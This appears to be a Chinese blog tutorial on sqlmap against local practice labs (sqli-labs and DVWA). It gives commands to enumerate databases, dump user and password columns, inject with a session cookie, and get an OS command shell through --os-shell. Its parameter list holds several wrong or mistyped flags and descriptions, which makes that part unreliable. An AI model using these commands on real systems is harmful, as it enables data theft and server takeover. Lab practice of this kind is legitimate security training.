SQLMap使用

gwn00 2020-01-09

SQLMap

? sqlmap是一款SQL注入漏洞测试工具,支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

常用参数

?注意:必须指定至少一个目标

-u          #指定URL,必须使用双引号包含url

--data      #

-param-del  #

User Agent  #

-user-agent #指定一个User Agent值

-referer    #指定http头中的referer值

-cookie

-cookie-del

-drop-set-cookie

-load-cookies

性能优化
-o          #一键优化

-null-connection    #http空连接

-p          #要测试的注入点

-skit       #排除不需要测试的注入点

-os         #识别数据库管理系统的操作系统

注意:-u 指定URL时需要带参数,否则找不到注入点

--current-db        #获取当前库名

-D “数据库名” --tables      #获取该库中的表名

-D “数据库名” -T “表名” --columns     #获取该库中指定表下的字段

SQLMap之MySQL数据库注入

1、使用sqlmap判断一个页面是否存在注入漏洞(主要是看能否返回信息)

这里在kali环境下运行SQLMap

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1"

当给sqlmap一个url的时候,它会判断可注入的参数;判断可以用那种SQL注入技术来注入;识别出哪种数据库;

SQLMap使用

2、获取数据库信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --dbs

SQLMap使用

SQLMap使用

3、获取当前数据库的信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --current-db

SQLMap使用
SQLMap使用

4、指定库名列出所有表

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security --tables

SQLMap使用
SQLMap使用

5、指定库名表名列出所有字段

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

SQLMap使用
SQLMap使用

6、指定库名表名字段列出所有数据

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump

SQLMap使用

SQLMap使用

SQLMap之cookie注入

1、首先是获取浏览器在网站的cookie。下面详细介绍一种可以获取cookie的方法。

从浏览器控制台代码看:按Fn+F12打开控制台,选择控制台标签页,在标签页底端输入命令document.cookie点击回车,就会出现当前网页的cookie。

document.cookie

SQLMap使用

也可以使用burpsuite抓包cookie数据。具体操作如下:在浏览器访问想要进行抓包的网址(目标网页),然后设置代理服务器(一般情况下HTTP代理设置为127.0.0.1,端口号是8080),打开burpsuite,返回浏览器的目标网页,进行刷新,此时burpsuite就会自动抓包,存放于【Procy】标签的【Intercept】标签内。

SQLMap使用

2、带入Cookie 查看是否存在注入点

sqlmap -u 'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low"

SQLMap使用

3、爆出数据库

sqlmap -u 'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" --dbs

SQLMap使用

4、针对指定数据库爆表

sqlmap -u 'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa --tables

SQLMap使用

5、针对指定表爆出其所有字段

sqlmap -u 'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users --columns

SQLMap使用

6、得到了数据库、表、字段内容,最后查看该表中的所有内容

sqlmap -u 'http://192.168.56.207/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="PHPSESSID=krgoqq9765mfh8dnothcg6eeb7; security=low" -D dvwa -T users -C user,avatar,first_name,last_name,password,user_id --dump

SQLMap使用

SQLMap之交互式写shell及命令执行

1、利用Windows 系统命令查看网站网络信息

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-cmd=ipconfig

SQLMap使用

选择网站语言

SQLMap使用

选择网站根目录

SQLMap使用

查看网站网络信息

SQLMap使用

2、执行shell

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" --os-shell

SQLMap使用

选择网站语言

SQLMap使用

选择网站根目录,会在根目录下生成两个临时文件

SQLMap使用

SQLMap使用

进入shell命令行模式

SQLMap使用

可以正常执行命令

SQLMap使用

exit退出

SQLMap使用

3、测试注入点

sqlmap -u "http://192.168.56.204/sqli-labs-master/Less-1/?id=1" -p id

    #-p用于指定扫描参数是id

?确定参数ID存在漏洞,而且可以通过基于报错的注入,联合查询注入来进行注入操作,并给出了对应的Payload语句。

SQLMap使用

相关推荐